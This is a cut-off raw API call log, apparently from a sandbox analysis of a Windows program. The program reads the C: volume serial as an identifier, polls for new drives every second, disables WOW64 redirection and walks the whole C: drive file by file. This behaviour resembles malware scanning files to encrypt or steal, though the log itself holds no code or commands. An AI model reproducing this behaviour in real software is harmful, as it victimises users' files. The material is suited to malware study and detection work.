[0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572570 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572da8 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572558 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572c88 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5725a0 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572d18 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5725b8 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd88 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5724e0 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572950 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572510 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5728c8 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5724f8 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cdf8 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572528 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd58 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f890 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa4) returned 0x5728c8 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561a68 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561a80 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572430 | out: hHeap=0x550000) returned 1 [0194.608] GetProcessHeap () returned 0x550000 [0194.609] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561a98 | out: hHeap=0x550000) returned 1 [0194.609] GetProcessHeap () returned 0x550000 [0194.609] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561a50 | out: hHeap=0x550000) returned 1 [0194.609] GetProcessHeap () returned 0x550000 [0194.609] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x56f890 [0194.609] GetProcessHeap () returned 0x550000 [0194.609] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xe) returned 0x561a50 [0194.609] ResetEvent (hEvent=0x124) returned 1 [0194.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf656b3, lpParameter=0x56f890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0194.610] CloseHandle (hObject=0x128) returned 1 [0194.610] GetProcessHeap () returned 0x550000 [0194.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561a98 [0194.610] GetProcessHeap () returned 0x550000 [0194.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561a80 [0194.610] GetProcessHeap () returned 0x550000 [0194.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561a68 [0194.610] GetProcessHeap () returned 0x550000 [0194.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x572430 [0194.610] GetProcessHeap () returned 0x550000 [0194.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5724e0 [0194.610] htonl (hostlong=0x9c354b42) returned 0x424b359c [0194.610] GetProcessHeap () returned 0x550000 [0194.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x28) returned 0x56cd58 [0194.610] GetProcessHeap () returned 0x550000 [0194.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5724f8 [0194.610] GetProcessHeap () returned 0x550000 [0194.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56cd88 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x56f8d0 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572510 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x572978 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572528 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x572a00 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572540 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56cdf8 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572558 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x572a90 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572570 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2) returned 0x55f218 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x55efa0 [0194.611] GetProcessHeap () returned 0x550000 [0194.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572588 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x572b18 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5725a0 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56e540 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x55f218, Size=0x82) returned 0x572ba0 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e540, Size=0x100) returned 0x572c30 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5725b8 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x572d38 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5725d0 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x572dc8 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x572ba0, Size=0x104) returned 0x572e58 [0194.612] GetProcessHeap () returned 0x550000 [0194.612] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x572c30, Size=0x200) returned 0x572f68 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55efa0 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572f68 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5725a0 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572a90 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572558 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572b18 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572588 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572e58 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572570 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572d38 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5725b8 | out: hHeap=0x550000) returned 1 [0194.614] GetProcessHeap () returned 0x550000 [0194.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572dc8 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5725d0 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd88 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5724f8 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572a00 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572528 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572978 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572510 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cdf8 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572540 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd58 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f8d0 | out: hHeap=0x550000) returned 1 [0194.615] GetProcessHeap () returned 0x550000 [0194.615] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa4) returned 0x572978 [0194.615] GetProcessHeap () returned 0x550000 [0194.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561a80 | out: hHeap=0x550000) returned 1 [0194.616] GetProcessHeap () returned 0x550000 [0194.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561a68 | out: hHeap=0x550000) returned 1 [0194.616] GetProcessHeap () returned 0x550000 [0194.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572430 | out: hHeap=0x550000) returned 1 [0194.616] GetProcessHeap () returned 0x550000 [0194.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5724e0 | out: hHeap=0x550000) returned 1 [0194.616] GetProcessHeap () returned 0x550000 [0194.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561a98 | out: hHeap=0x550000) returned 1 [0194.616] GetProcessHeap () returned 0x550000 [0194.616] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x56f8d0 [0194.616] GetProcessHeap () returned 0x550000 [0194.616] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xe) returned 0x561a98 [0194.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf656b3, lpParameter=0x56f8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0194.617] CloseHandle (hObject=0x128) returned 1 [0194.620] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) Thread: id = 76 os_tid = 0x35c [0194.621] GetLogicalDrives () returned 0x4 [0194.621] GetProcessHeap () returned 0x550000 [0194.621] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a0d8 [0194.621] GetProcessHeap () returned 0x550000 [0194.621] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a240 [0194.621] GetProcessHeap () returned 0x550000 [0194.621] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a268 [0194.621] GetProcessHeap () returned 0x550000 [0194.621] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x572430 [0194.621] GetProcessHeap () returned 0x550000 [0194.621] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572430 | out: hHeap=0x550000) returned 1 [0194.621] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a240, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.621] GetProcessHeap () returned 0x550000 [0194.621] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0194.621] GetProcessHeap () returned 0x550000 [0194.621] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a0d8 | out: hHeap=0x550000) returned 1 [0194.621] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2b1fd0c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2b1fd0c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.622] GetProcessHeap () returned 0x550000 [0194.622] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a240 | out: hHeap=0x550000) returned 1 [0194.622] GetProcessHeap () returned 0x550000 [0194.622] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x564430 [0194.622] GetProcessHeap () returned 0x550000 [0194.622] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56cd58 [0194.622] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x128 [0194.622] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x12c [0194.622] GetLogicalDrives () returned 0x4 [0194.622] Sleep (dwMilliseconds=0x3e8) [0196.149] GetLogicalDrives () returned 0x4 [0196.149] Sleep (dwMilliseconds=0x3e8) [0197.457] GetLogicalDrives () returned 0x4 [0197.457] Sleep (dwMilliseconds=0x3e8) [0198.665] GetLogicalDrives () returned 0x4 [0198.665] Sleep (dwMilliseconds=0x3e8) [0199.705] GetLogicalDrives () returned 0x4 [0199.705] Sleep (dwMilliseconds=0x3e8) [0200.916] GetLogicalDrives () returned 0x4 [0200.916] Sleep (dwMilliseconds=0x3e8) [0202.109] GetLogicalDrives () returned 0x4 [0202.109] Sleep (dwMilliseconds=0x3e8) [0203.360] GetLogicalDrives () returned 0x4 [0203.360] Sleep (dwMilliseconds=0x3e8) [0204.576] GetLogicalDrives () returned 0x4 [0204.576] Sleep (dwMilliseconds=0x3e8) [0205.731] GetLogicalDrives () returned 0x4 [0205.731] Sleep (dwMilliseconds=0x3e8) [0206.900] GetLogicalDrives () returned 0x4 [0206.900] Sleep (dwMilliseconds=0x3e8) [0207.999] GetLogicalDrives () returned 0x4 [0208.000] Sleep (dwMilliseconds=0x3e8) [0209.144] GetLogicalDrives () returned 0x4 [0209.144] Sleep (dwMilliseconds=0x3e8) [0210.207] GetLogicalDrives () returned 0x4 [0210.207] Sleep (dwMilliseconds=0x3e8) [0211.221] GetLogicalDrives () returned 0x4 [0211.221] Sleep (dwMilliseconds=0x3e8) [0212.233] GetLogicalDrives () returned 0x4 [0212.233] Sleep (dwMilliseconds=0x3e8) [0213.949] GetLogicalDrives () returned 0x4 [0213.949] Sleep (dwMilliseconds=0x3e8) [0214.963] GetLogicalDrives () returned 0x4 [0214.964] Sleep (dwMilliseconds=0x3e8) [0215.977] GetLogicalDrives () returned 0x4 [0215.977] Sleep (dwMilliseconds=0x3e8) [0217.038] GetLogicalDrives () returned 0x4 [0217.038] Sleep (dwMilliseconds=0x3e8) [0218.393] GetLogicalDrives () returned 0x4 [0218.393] Sleep (dwMilliseconds=0x3e8) [0220.066] GetLogicalDrives () returned 0x4 [0220.067] Sleep (dwMilliseconds=0x3e8) [0221.520] GetLogicalDrives () returned 0x4 [0221.520] Sleep (dwMilliseconds=0x3e8) [0222.577] GetLogicalDrives () returned 0x4 [0222.577] Sleep (dwMilliseconds=0x3e8) [0223.869] GetLogicalDrives () returned 0x4 [0223.869] Sleep (dwMilliseconds=0x3e8) [0225.078] GetLogicalDrives () returned 0x4 [0225.078] Sleep (dwMilliseconds=0x3e8) [0226.298] GetLogicalDrives () returned 0x4 [0226.298] Sleep (dwMilliseconds=0x3e8) [0227.592] GetLogicalDrives () returned 0x4 [0227.592] Sleep (dwMilliseconds=0x3e8) [0228.625] GetLogicalDrives () returned 0x4 [0228.625] Sleep (dwMilliseconds=0x3e8) [0229.629] GetLogicalDrives () returned 0x4 [0229.629] Sleep (dwMilliseconds=0x3e8) [0230.660] GetLogicalDrives () returned 0x4 [0230.660] Sleep (dwMilliseconds=0x3e8) [0231.672] GetLogicalDrives () returned 0x4 [0231.672] Sleep (dwMilliseconds=0x3e8) [0232.687] GetLogicalDrives () returned 0x4 [0232.687] Sleep (dwMilliseconds=0x3e8) [0233.701] GetLogicalDrives () returned 0x4 [0233.701] Sleep (dwMilliseconds=0x3e8) [0234.715] GetLogicalDrives () returned 0x4 [0234.715] Sleep (dwMilliseconds=0x3e8) [0235.757] GetLogicalDrives () returned 0x4 [0235.757] Sleep (dwMilliseconds=0x3e8) [0236.820] GetLogicalDrives () returned 0x4 [0236.820] Sleep (dwMilliseconds=0x3e8) [0237.848] GetLogicalDrives () returned 0x4 [0237.848] Sleep (dwMilliseconds=0x3e8) [0238.862] GetLogicalDrives () returned 0x4 [0238.862] Sleep (dwMilliseconds=0x3e8) [0239.893] GetLogicalDrives () returned 0x4 [0239.893] Sleep (dwMilliseconds=0x3e8) [0240.980] GetLogicalDrives () returned 0x4 [0240.980] Sleep (dwMilliseconds=0x3e8) [0242.209] GetLogicalDrives () returned 0x4 [0242.209] Sleep (dwMilliseconds=0x3e8) [0243.536] GetLogicalDrives () returned 0x4 [0243.536] Sleep (dwMilliseconds=0x3e8) [0244.800] GetLogicalDrives () returned 0x4 [0244.800] Sleep (dwMilliseconds=0x3e8) [0245.806] GetLogicalDrives () returned 0x4 [0245.806] Sleep (dwMilliseconds=0x3e8) [0246.820] GetLogicalDrives () returned 0x4 [0246.820] Sleep (dwMilliseconds=0x3e8) [0247.834] GetLogicalDrives () returned 0x4 [0247.834] Sleep (dwMilliseconds=0x3e8) [0248.850] GetLogicalDrives () returned 0x4 [0248.850] Sleep (dwMilliseconds=0x3e8) [0249.904] GetLogicalDrives () returned 0x4 [0249.904] Sleep (dwMilliseconds=0x3e8) [0251.534] GetLogicalDrives () returned 0x4 [0251.534] Sleep (dwMilliseconds=0x3e8) [0253.153] GetLogicalDrives () returned 0x4 [0253.153] Sleep (dwMilliseconds=0x3e8) [0254.164] GetLogicalDrives () returned 0x4 [0254.164] Sleep (dwMilliseconds=0x3e8) [0255.241] GetLogicalDrives () returned 0x4 [0255.241] Sleep (dwMilliseconds=0x3e8) [0257.064] GetLogicalDrives () returned 0x4 [0257.064] Sleep (dwMilliseconds=0x3e8) [0258.206] GetLogicalDrives () returned 0x4 [0258.206] Sleep (dwMilliseconds=0x3e8) [0259.219] GetLogicalDrives () returned 0x4 [0259.219] Sleep (dwMilliseconds=0x3e8) [0260.264] GetLogicalDrives () returned 0x4 [0260.264] Sleep (dwMilliseconds=0x3e8) [0261.328] GetLogicalDrives () returned 0x4 [0261.328] Sleep (dwMilliseconds=0x3e8) [0262.345] GetLogicalDrives () returned 0x4 [0262.345] Sleep (dwMilliseconds=0x3e8) [0263.559] GetLogicalDrives () returned 0x4 [0263.559] Sleep (dwMilliseconds=0x3e8) [0264.962] GetLogicalDrives () returned 0x4 [0264.962] Sleep (dwMilliseconds=0x3e8) [0266.163] GetLogicalDrives () returned 0x4 [0266.163] Sleep (dwMilliseconds=0x3e8) [0267.233] GetLogicalDrives () returned 0x4 [0267.233] Sleep (dwMilliseconds=0x3e8) [0268.364] GetLogicalDrives () returned 0x4 [0268.364] Sleep (dwMilliseconds=0x3e8) [0269.495] GetLogicalDrives () returned 0x4 [0269.495] Sleep (dwMilliseconds=0x3e8) [0270.927] GetLogicalDrives () returned 0x4 [0270.927] Sleep (dwMilliseconds=0x3e8) [0272.046] GetLogicalDrives () returned 0x4 [0272.046] Sleep (dwMilliseconds=0x3e8) [0273.221] GetLogicalDrives () returned 0x4 [0273.221] Sleep (dwMilliseconds=0x3e8) [0274.321] GetLogicalDrives () returned 0x4 [0274.322] Sleep (dwMilliseconds=0x3e8) [0275.399] GetLogicalDrives () returned 0x4 [0275.399] Sleep (dwMilliseconds=0x3e8) [0276.527] GetLogicalDrives () returned 0x4 [0276.527] Sleep (dwMilliseconds=0x3e8) [0277.570] GetLogicalDrives () returned 0x4 [0277.570] Sleep (dwMilliseconds=0x3e8) [0278.579] GetLogicalDrives () returned 0x4 [0278.579] Sleep (dwMilliseconds=0x3e8) [0279.601] GetLogicalDrives () returned 0x4 [0279.601] Sleep (dwMilliseconds=0x3e8) [0280.657] GetLogicalDrives () returned 0x4 [0280.658] Sleep (dwMilliseconds=0x3e8) Thread: id = 77 os_tid = 0x630 Thread: id = 78 os_tid = 0x3d4 [0194.661] GetProcessHeap () returned 0x550000 [0194.661] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x38) returned 0x56c5b8 [0194.661] GetProcessHeap () returned 0x550000 [0194.661] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x56f910 [0194.662] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xe0 [0194.662] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x134 [0194.662] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x138 [0194.662] GetProcessHeap () returned 0x550000 [0194.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x573350 [0194.662] GetProcessHeap () returned 0x550000 [0194.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x583358 [0194.663] GetProcessHeap () returned 0x550000 [0194.663] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x572430 [0194.663] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0194.663] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0194.663] Wow64DisableWow64FsRedirection (in: OldValue=0x275fa7c | out: OldValue=0x275fa7c*=0x0) returned 1 [0194.663] GetProcessHeap () returned 0x550000 [0194.663] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572430 | out: hHeap=0x550000) returned 1 [0194.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xf654bf, lpParameter=0x275fa84, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0194.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xf654bf, lpParameter=0x275fa84, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0194.665] GetProcessHeap () returned 0x550000 [0194.665] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x593360 [0194.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x275f7f8 | out: lpFindFileData=0x275f7f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x572430 [0194.667] GetProcessHeap () returned 0x550000 [0194.667] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a3368 [0194.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572470 [0194.668] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.668] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, 